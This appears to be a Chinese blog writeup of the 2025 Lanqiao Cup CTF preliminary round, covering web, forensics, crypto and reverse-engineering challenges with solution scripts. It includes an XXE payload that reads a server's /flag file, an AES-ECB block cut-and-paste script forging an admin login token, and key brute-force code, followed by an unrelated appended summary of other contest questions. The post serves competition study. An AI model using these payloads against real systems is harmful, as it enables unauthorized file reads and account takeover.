2025年第十六届蓝桥杯网络安全CTF省赛(初赛)真题详解Writeup(Web、Misc、Crypto、Reverse、Pwn)

2025蓝桥杯CTF真题解析

今年是第三届蓝桥杯网络安全CTF竞赛,相比于前两届,今年没有了理论题。这三年题目难度呈逐年上升趋势,以后大概率会越来越难。

第一题:情报收集:黑客密室逃脱(Web类题目50分)

1.1 题目描述:

靶机题目:黑客密室逃脱

题目内容:欢迎闯入黑客密室,你被困在了顶级黑客精心设计的数字牢笼中,每一道关卡都暗藏致命陷阱!唯一的逃脱之路,是破解散落在服务器各处的加密线索,找到最终的“数字钥匙”。赛题原题及工具资料下载地址:www.whsjyc.cn
访问靶机后如下图所示:

点击【立即查看日志】:

给出一串加密字符串,这就是密文,解密之后就是flag,点击【前往秘密区域】:

提示我们去访问/file?name=xxx,让我们猜测文件名。我们通过课程教授的方法获取到文件名是app.py,然后通过文件包含获取源代码:

import os
from flask import Flask, request, render_template
from config import *
# author: gamelab

app = Flask(__name__)

# 模拟敏感信息
sensitive_info = SENSITIVE_INFO

# 加密密钥
encryption_key = ENCRYPTION_KEY

def simple_encrypt(text, key):
    encrypted = bytearray()
    for i in range(len(text)):
        char = text[i]
        key_char = key[i % len(key)]
        encrypted.append(ord(char) + ord(key_char))
    return encrypted.hex()

encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)

# 模拟日志文件内容
log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info}"

# 模拟隐藏文件内容
hidden_file_content = f"解密密钥: {encryption_key}"

# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
    f.write(hidden_file_content)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/logs')
def logs():
    return render_template('logs.html', log_content=log_content)

@app.route('/secret')
def secret():
    return render_template('secret.html')

@app.route('/file')
def file():
    file_name = request.args.get('name')
    if not file_name:
        return render_template('no_file_name.html')
    full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))
    if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path:
        return render_template('no_premission.html')
    try:
        with open(full_path, 'r', encoding='utf-8') as f:
            content = f.read()
        return render_template('file_content.html', content=content)
    except FileNotFoundError:
        return render_template('file_not_found.html')

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')

程序使用simple_encrypt()函数对敏感信息进行加密,当用户访问/logs页面时返回加密后的敏感信息。

1.2 解题步骤:

当用户访问/hidden.txt页面时返回密钥key,我们手动访问一下获得秘钥:

我们有了加密算法、密钥和密文,可以编写解密函数获取明文:

1.3 exp代码:

def simple_decrypt(encrypted_hex, key):
    encrypted_bytes = bytearray.fromhex(encrypted_hex)

    decrypted = bytearray()
    for i in range(len(encrypted_bytes)):
        encrypted_char = encrypted_bytes[i]
        key_char = key[i % len(key)]
        decrypted.append(encrypted_char - ord(key_char))

    return decrypted.decode('utf-8')

print(simple_decrypt("d9d1c4d9e0abc2a497df9a9a6c5fa4c9c9a592a8c39ccba6709b6b98a0c7c6d89cd994a39aae6f6f68af", "secret_key8672"))

# flag{7c92fbd5-1df3-4d1f-8e4f-bcf7e5855791}

第二题:数据分析:ezEvtx(Misc杂项类题目50分)

2.1 题目描述:


题目内容:
EVTX文件是Windows操作系统生成的事件日志文件,用于记录系统、应用程序和安全事件。(本题需要选手找出攻击者访问成功的一个敏感文件,提交格式为flag{文件名},其中文件名不包含文件路径,且包含文件后缀)赛题原题及工具资料下载地址:www.whsjyc.cn

2.2 解题步骤:

第一步,用上课教的软件elex.exe打开题目附件。

第二步,分析题目,题目说攻击者访问成功的一个敏感文件,我们需要找到这个文件名。课堂上我们讲过,事件ID4663:文件系统操作(详细文件访问),事件ID4656:请求访问对象(通常是文件),那么我们先根据4663进行筛选。

找到了文件名,答案就是flag{confidential.docx}

第三题:数据分析:flowzip(Misc杂项类题目50分)

3.1 题目描述:

题目内容:
There are many zip files.赛题原题及工具资料下载地址:www.whsjyc.cn

3.2 解题步骤:

直接一步解,查找flag。

第四题:密码破解:Enigma(Crypto密码学类题目50分)

4.1 题目描述:

题目内容:
Enigma是20世纪早期由德国工程师Arthur Scherbius设计的一款便携式机械加密设备,旨在为需要高安全性通信的场景提供加密保护。其核心原理基于可旋转的机械转子、反射器和接线板的组合,通过复杂的电路转换实现对明文的加密与解密。(本题需要选手还原成原文字母,提交格式为flag{原文字母},其中原文字母为全英文大写,且去掉空格。)赛题原题及工具资料下载地址:www.whsjyc.cn

4.2 解题步骤:

这道题目比我上课时候讲的恩尼格码加密简单多了,我上课的题目要编程写脚本,这道题目直接用赛博厨师直接一步解,就可以拿到flag。打开Cyberchef,选择Enigma加密算法。放入密文,发现直接出现了明文,怀疑可能是对称加密。flag{HELLOCTFERTHISISAMESSAGEFORYOU}

第五题:密码破解:ECBTrain(Crypto密码学类题目278分)

5.1 题目描述:

题目内容:
AES的ECB模式存在很明显的缺陷。你能否尝试以admin身份完成本题挑战?赛题原题及工具资料下载地址:www.whsjyc.cn

5.2 解题步骤:

靶机题目,加密算法为AES的ECB模式。利用了 AES-ECB 加密模式的分块独立加密特性。ECB 模式下,相同的明文块始终加密为相同的密文块,且各块加密互不影响。

靶场题目的意思是:netcat连接后,先注册,发现注册后返回auth(base64编码),再登陆的时候需要输入auth。


解题思路:第一步,第一次注册аааааааааааааааааdmin,这个账号由16个字符a和5个字符admin组成,所以加密是16个字符a为第一个独立块,admin为第二个独立块。第二步,第一次注册返回的是AES加密后的base64编码,我们获取AES密文的最后16字节就是admin加密后的密文auth。第三步,最后用这个密文的base64编码输入2登录即可获得flag。

5.3 exp代码:

import base64

def process_base64_string(encoded_string: str) -> str:

    """提取Base64解码数据的最后16字节并重新编码为Base64字符串"""

    return base64.b64encode(base64.b64decode(encoded_string)[-16:]).decode()

if __name__ == "__main__":

    input_string = "5P11TbEOqmL1oO50uA3RAuYDAShfRHesjVDxvulTEAk="

    print("处理后的Base64字符串:", process_base64_string(input_string))

flag值:
flag{69916f0f-eb6d-436e-ad27-0eb62dcbe740}

第六题:密码破解:easy_AES(Crypto密码学类题目286分)

6.1 题目描述:

题目内容:
题目采用的是传统的AES加密,但是其中的key似乎可以通过爆破得到,你能找到其中的问题,解密出敏感数据吗?赛题原题及工具资料下载地址:www.whsjyc.cn

题目代码如下:

from Crypto.Cipher import AES  # 导入AES加密模块
from secret import flag       # 从secret模块导入flag(假设为明文)
import random, os             # 导入random和os模块用于随机数生成

# 为消息填充字节,使其长度为16的倍数
def pad(msg):
    return msg + bytes([16 - len(msg) % 16 for _ in range(16 - len(msg) % 16)])

# 对密钥进行随机置换,生成新密钥
def permutation(key):
    tables = [hex(_)[2:] for _ in range(16)]  # 生成0-15的十六进制表(去掉"0x"前缀)
    random.shuffle(tables)                    # 随机打乱表
    newkey = "".join(tables[int(key[_], 16)] for _ in range(len(key)))  # 根据原密钥生成新密钥
    return newkey

# 生成初始密钥key0及其置换密钥key1
def gen():
    key0 = os.urandom(16).hex()  # 随机生成16字节密钥并转为十六进制字符串
    key1 = permutation(key0)     # 对key0进行置换生成key1
    return key0, key1

# 使用key0和key1进行双重AES加密
def encrypt(key0, key1, msg):
    aes0 = AES.new(key0, AES.MODE_CBC, key1)  # 用key0加密,key1作为CBC模式的IV
    aes1 = AES.new(key1, AES.MODE_CBC, key0)  # 用key1解密,key0作为CBC模式的IV
    return aes1.decrypt(aes0.encrypt(msg))    # 先加密后解密生成密文

# 生成密钥对
key0, key1 = gen()
a0, a1 = int(key0, 16), int(key1, 16)  # 将密钥转为整数

gift = a0 & a1  # 计算key0和key1的按位与,作为泄露信息
cipher = encrypt(bytes.fromhex(key0), bytes.fromhex(key1), pad(flag))  # 加密填充后的flag

print(f"gift = {gift}")
print(f"key1 = {key1}")
print(f"cipher = {cipher}")

'''
gift = 64698960125130294692475067384121553664
key1 = 74aeb356c6eb74f364cd316497c0f714
cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'
'''

6.2 exp代码:

关键点在于key1是由key0进行置换后得到的,尝试编写脚本爆破置换表后进行解密。

from Crypto.Cipher import AES  # 导入AES加密模块
# from secret import flag       # 从secret模块导入flag(假设为明文)
import random, os  # 导入random和os模块用于随机数生成


# 为消息填充字节,使其长度为16的倍数
def pad(msg):
    return msg + bytes([16 - len(msg) % 16 for _ in range(16 - len(msg) % 16)])


# 对密钥进行随机置换,生成新密钥
def permutation(key):
    tables = [hex(_)[2:] for _ in range(16)]  # 生成0-15的十六进制表(去掉"0x"前缀)
    random.shuffle(tables)  # 随机打乱表
    newkey = "".join(tables[int(key[_], 16)] for _ in range(len(key)))  # 根据原密钥生成新密钥
    return newkey


# 生成初始密钥key0及其置换密钥key1
def gen():
    key0 = os.urandom(16).hex()  # 随机生成16字节密钥并转为十六进制字符串
    key1 = permutation(key0)  # 对key0进行置换生成key1
    return key0, key1


# 使用key0和key1进行双重AES加密
def encrypt(key0, key1, msg):
    aes0 = AES.new(key0, AES.MODE_CBC, key1)  # 用key0加密,key1作为CBC模式的IV
    aes1 = AES.new(key1, AES.MODE_CBC, key0)  # 用key1解密,key0作为CBC模式的IV
    return aes1.decrypt(aes0.encrypt(msg))  # 先加密后解密生成密文


def decrypt(key0, key1, msg):
    aes0 = AES.new(key0, AES.MODE_CBC, key1)  # 用key0加密,key1作为CBC模式的IV
    aes1 = AES.new(key1, AES.MODE_CBC, key0)  # 用key1解密,key0作为CBC模式的IV
    return aes0.decrypt(aes1.encrypt(msg))  # 先加密后解密生成密文


'''
# 生成密钥对
key0, key1 = gen()
a0, a1 = int(key0, 16), int(key1, 16)  # 将密钥转为整数

gift = a0 & a1  # 计算key0和key1的按位与,作为泄露信息
cipher = encrypt(bytes.fromhex(key0), bytes.fromhex(key1), pad(flag))  # 加密填充后的flag

print(f"gift = {gift}")
print(f"key1 = {key1}")
print(f"cipher = {cipher}")

'''
gift = 64698960125130294692475067384121553664
# key1 = b''.fromhex('74aeb356c6eb74f364cd316497c0f714')
key1 = int('74aeb356c6eb74f364cd316497c0f714', 16)
cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'

# gift = bytes.fromhex(hex(gift)[2:])
# key1 = bytes.fromhex(hex(key1)[2:])
gift = hex(gift)[2:]
key1 = hex(key1)[2:]
key0 = [[-1]] * 16

print(gift)
print(key1)
print(key0)

for i in range(32):
    key_new = []
    for j in range(16):
        if int(key1[i], 16) & j == int(gift[i], 16):
            # print(j)
            key_new.append(hex(j)[2:])

    # print(int(key1[i],16))
    key0[int(key1[i], 16)] = key_new

for i in range(len(key0)):
    if key0[i][0] == -1:
        key0[i] = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
print(key0)
key0a = []


def gogogo(used, i):
    global key0, key0a
    for j in key0[i]:
        if j not in used:
            if i != 15:
                used2 = used + [j]
                # print(used2)
                gogogo(used2, i + 1)
            else:
                key0a.append(used + [j])


gogogo([], 0)
# print(key0a)

# for i in key0a:
#     if not i is list:
#         continue
#     # for j in range(len(key1)):
#     #     try:
#     #         newkey = "".join(i[int(key1[j], 16)])
#     #     except:
#     #         print(i)
#     #         print(int(key1[j], 16))
#     #         print(i[int(key1[j], 16)])
#     #         exit(0)
#     newkey = "".join(i[int(key1[_], 16)] for _ in range(len(key1)))
#     try:
#         ret = decrypt(newkey, key1, cipher)
#         if b'flag' in ret:
#             print(ret)
#             break
#     except:
#         print(newkey)

ret_all = b''

for i in key0a:
    newkey = "".join(i[int(key1[_], 16)] for _ in range(len(key1)))

    # print(newkey)
    a0, a1 = int(newkey, 16), int(key1, 16)
    if a0 & a1 == 64698960125130294692475067384121553664:
        # print(newkey)
        ret = decrypt(bytes.fromhex(newkey), bytes.fromhex(key1), cipher)
        # print(ret)
        ret_all += ret

with open('result.txt', 'wb') as f:
    f.write(ret_all)

生成result.txt,用winhex打开查找flag,flag{886769b5-2301-4c37-bb73-4480b4eab682}

第七题:逆向分析:ShadowPhases(Reverse逆向类题目50分)

7.1 题目描述:

题目内容:
在调查一起跨国数据泄露事件时,你的团队在暗网论坛发现一组被称作'三影密匣'的加密缓存文件。据匿名线报,这些文件采用上世纪某情报机构开发的“三重影位算法”,关键数据被分割为三个相位,每个相位使用不同的影位密钥混淆。威胁分析显示,若不能在48小时内还原原始信息,某关键基础设施的访问密钥将被永久销毁。逆向工程师的日志残页显示:'相位间存在密钥共鸣,但需警惕内存中的镜像陷阱..赛题原题及工具资料下载地址:www.whsjyc.cn

7.2 解题步骤:

第一步,查壳,无壳64位

第二步,IDA64位打开,拖入IDA分析,发现会将我们的input与enc进行比较。这类题目课堂上讲过多种解法,最快的就是动调。

动调至断点处,获得flag,flag{0fa830e7-b699-4513-8e01-51f35b0f3293}

第八题:逆向分析:BashBreaker(Reverse逆向类题目120分)

8.1 题目描述:

题目内容:
赛博考古学界流传着一个传说——人工智能先驱艾琳·巴什博士在自杀前,将毕生研究的核心算法封存在了他的量子实验室中。这个实验室遵循古老的巴什博弈协议,唯有通过15枚光子硬币的智慧试炼,才能唤醒沉睡的实验室AI。赛题原题及工具资料下载地址:www.whsjyc.cn

8.2 解题步骤:

第一步,查壳,无壳64位

第二步,IDA64位打开,拖入IDA分析,找到main函数后发现有一个key解密函数:

第三步,nop掉if语句,直接运行full_decrypt()函数获得key:

第四步,找到变异的rc4函数(rc4_init和rc4_next函数多一个异或0x37,),以及密文:

8.3 exp代码:

from Crypto.Cipher import ARC4
import binascii

def rc4(key: bytes, data: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + (key[i % len(key)] ^ 0x37)) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        k = ((16 * k) | (k >> 4)) & 0xff
        result.append((byte ^ k)&0xff)

    return bytes(result)

if __name__ == "__main__":
    key = b"EC3700DFCD4F364EC54B19C5E7E26DEF6A25087C4FCDF4F8507A40A9019E3B48BD70129D0141A5B8F089F280F4BE6CCD"
    enc = [0xBB, 0xCA, 0x12, 0x14, 0xD0, 0xF1, 0x99, 0xA7, 0x91, 0x48,
  0xC3, 0x28, 0x73, 0xAD, 0xB7, 0x75, 0x8C, 0x89, 0xCD, 0xDD,
  0x2D, 0x50, 0x5D, 0x7F, 0x95, 0xB1, 0xA4, 0x9D, 0x09, 0x43,
  0xE1, 0xD2, 0xE9, 0x66, 0xEA, 0x18, 0x98, 0xC6, 0xCC, 0x02,
  0x39, 0x18]
    plaintext = bytes(enc)

    ciphertext = rc4(key, plaintext)
    print("加密结果(Hex):", bytes(ciphertext))

第九题:漏洞挖掘分析:星际XML解析器(web类题目)

9.1 题目描述:

你已进入星际数据的世界,输入XML数据,启动解析程序,探索未知的数据奥秘!赛题原题及工具资料下载地址:www.whsjyc.cn

9.2 解题步骤:

老师培训班讲过的原题XML攻击,直接拿老师上课的payload即可。

9.3 exp代码:

当服务器解析这段XML时:

遇到&xxe;引用时,尝试加载定义的外部实体
通过file://协议,解析器会读取服务器上的/flag文件
flag文件内容会被包含在XML响应中返回

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<creds>
    <user>&xxe;</user>
</creds>

### 蓝桥杯 Web 组 第十四届 大学组 真题 蓝桥杯作为一项重要的编程竞活动,近来新增了Web应用开发方向的比项目。对于第十四届蓝桥杯 Web 组大学组的真题,可以从官方模拟和相关资料中获取部分内容。 #### 题目概述 以下是基于已知参考资料整理的部分题目及其解析: 1. **水果拼盘** - 描述:选手需要实现一个简单的页面功能,允许用户通过拖拽的方式将不同种类的水果放入指定区域,并计算总分值[^2]。 2. **评分组件 (my-rate.vue)** - 描述:`my-rate.vue` 是一个 Vue.js 的自定义组件,用于对多个维度进行评分。该组件会向外抛出 `change` 事件,当三个评分项全部完成时触发此事件。事件参数是一个对象,包含以下属性: ```javascript { speed: number, // 对速度的评分 flavour: number, // 对味道的评分 pack: number // 对包装的评分 } ``` 开发者需确保在接收到 `change` 事件后正确处理传入的数据并更新界面逻辑[^3]。 3. **布局切换** - 描述:设计一个响应式网页,支持多种设备下的布局调整。具体需求可能涉及媒体查询、Flexbox 或 Grid 布局技术的应用[^2]。 4. **购物车功能** - 描述:实现一个基础的在线购物车系统,包括商品添加、删除、数量修改等功能。通常还需要考虑数据持久化存储(如 LocalStorage)以及动态渲染列表的能力[^2]。 5. **冬奥大抽奖** - 描述:创建一个互动型抽奖程序,要求随机抽取获奖号码或用户名字,并展示动画效果增强用户体验[^2]。 --- #### 技术要点分析 上述题目覆盖了前端开发的核心技能领域,例如 HTML/CSS 页面构建、JavaScript 动态交互、Vue.js 框架使用等知识点。参者不仅需要掌握扎实的基础理论知识,还需具备快速解决问题的实际操作能力。 ```html <!-- 示例代码片段 --> <div id="app"> <my-rate @change="handleRateChange"></my-rate> </div> <script> new Vue({ el: '#app', methods: { handleRateChange(ratings) { console.log('Speed:', ratings.speed); console.log('Flavour:', ratings.flavour); console.log('Pack:', ratings.pack); } } }); </script> ``` --- #### 总结 以上列举的是部分典型考题类型,完整的第十四届蓝桥杯 Web 组大学组真题可以通过参与官方举办的模拟事或者查阅权威教程文档进一步了解[^1]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值